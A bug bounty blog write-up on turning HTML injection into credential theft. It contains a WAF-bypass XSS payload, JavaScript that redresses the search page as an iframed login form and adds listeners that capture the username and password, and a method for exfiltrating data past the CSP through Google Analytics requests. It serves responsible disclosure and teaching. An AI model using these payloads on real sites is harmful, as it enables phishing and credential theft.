Skip to content

Bergee's Stories on Bug Hunting

hacking, cyber security and programming

Menu
  • Blog
  • About Me
  • Resources
  • Side projects
Menu

WAF bypass and credential theft with XSS and Google Analytics

2025-10-31

Hello

In this post, I will tell you how I was able to escalate the bug from HTML injection to stealing credentials via Google Analytics… well, almost 😉
I was testing the website and inserted “><u>aaa</u> into the main search bar without big expectations.  I was really surprised when I saw aaa.
Next step was to try XSS payload <img src=”x” />. What I saw in response was a 403 error. No luck.

Bypassing WAF

I ran Turbo Intruder in Burp, collected all HTML tags and attributes, and started fuzzing. Some HTML tags were allowed, but whenever I tried to insert some events such as “onerror’, I was always blocked with a 403 error :(.

Next, I tried to bypass the WAF using special characters like %00, %0d, and %0a. Guess what? It worked 🙂 That was the working XSS payload:

<img%20src=x%20o%200nerror=alert(document%00.domain)>

Ok, I could report it right away, but I decided to increase the impact. As the session cookie had the HTTP-only flag set, I could not read it with js, so I decided to steal credentials while the users logs in.

Redressing the page

Suppose the search page was on:

https://target.com/search

and the login form was on:

https://target.com/login

I had to redesign the search page to resemble the login page, add listeners that capture the credentials as the user logs in, and send them to the attacker’s site. I framed the /login endpoint into the /search page, styled it with CSS to match the /login endpoint’s appearance, then changed the document title to match the/login page’s title, and finally, changed the visible URL in the browser address bar and history.pushState() command.

That was the code: to iframe the /login page and style the /search page:


document.body.innerHTML = "";
document.body.appendChild(Object.assign(document.createElement('iframe'), { id:'frm',src: 'https://target.com/login',style: 'position:fixed;top:0; left:0;bottom:0;right:0;width:100%;height:100%;top:0;left:0;bottom:0;right:0;border:none;margin:0;padding:0;overflow:hidden;'})); document.title="target.com | account login";
history.pushState("", "", "/login");

Now it’s time for listeners:


iframe=document.getElementById("frm"),iframe.onload=()=>{const e=iframe.contentDocument||iframe.contentWindow.document,n=e.querySelector("input#loginUsername"),o=e.querySelector("input#loginPassword");n&&n.addEventListener("input",(()=>{user=n?.value||"",console.log("username:"+user)})),o&&o.addEventListener("input",(()=>{pass=o?.value||"",console.log("password:"+pass)}))};

Note, I needed to use the iframe onload event, so that the listener waits until the frame content is loaded. Otherwise, the code wasn’t working because it could not find the form fields. I prepared this POC with printing credentials on the dev console. Why?

Bypassing CSP

The CSP blocked the outgoing connections, and I was unable to exfiltrate this data in any way. Without this part, they could say that it is not a vulnerability, as the attacker can’t steal the credentials. I analyzed the CSP headers and noticed that the Google Analytics URL was allowed. This way, I could use it to exfiltrate the data as a Google Analytics event name. So I googled a bit and found this blog post:

https://labs.detectify.com/how-to/using-google-analytics-for-data-extraction/

The easiest way was to intercept the real GA  request from my website to the GA server in Burp and change the value of the “en” parameter. This way, I  could see the data in the GA panel as the event name. I removed all other parameters from the request here:

 

POST /g/collect?v=2&tid=&gtm=&_p=&gcd=&npa=1&dma_cps=&dma=1&cid=&ul=pl&frm=0&pscdl=noapi&_s=1&sid=&sct=1&seg=0&dl=&en=page_view&_fv=1&_nsi=1&_ss=1&_ee=1&tfd=HTTP/1.1
Host: region1.google-analytics.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
Priority: u=6
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 0
Te: trailers
Connection: keep-alive

And this worked… partially. I mean, it was slow. While experimenting, the data appeared after several hours in the GA panel. Well, I didn’t want to wait due to the possibility of duplication, so I decided to take the risk and send the report. I pointed out that creating a full working POC takes time using GA, so for now, I am providing a console.log-based POC. And they replied there, “No problem – the impact will be marked as High”. So I didn’t have to finish the full POC this time.

Impact: High

Reward: 500 USD

  • WAF bypass and credential theft with XSS and Google Analytics
  • How two dollars and one zip file let me read the server files
  • Subdomain takeover – easy $150 for five minutes of work
  • How I hacked XXXX for fun and !profit
  • Accessing admin panel with fuzzing, digging and guessing
  • From AngularJS CSTI to credentials theft
  • The story of exposed service, SSRF, CSP bypass and credentials stealing via XSS
  • “Hacking” the hotel room TV
  • Broken links hijacking and CDN takeover
  • How I found multiple critical bugs in Red Bull
  • Chaining multiple vulnerabilities for credential stealing
  • Blind account takeover
  • Turning cookie based XSS into account takeover
  • Blind os command injection
  • Five-minute hunting for hidden XSS
  • URL filter bypass, RFI and XSS
  • The forgotten API and XSS filter bypass
  • XSS via Angular Template Injection
  • Breaking things legally for fun and profit

Hackers' playground


https://www.tryhackme.com
https://www.pentesterlab.com
https://www.hackthebox.com
https://portswigger.net/web-security/all-labs
© 2025 Bergee's Stories on Bug Hunting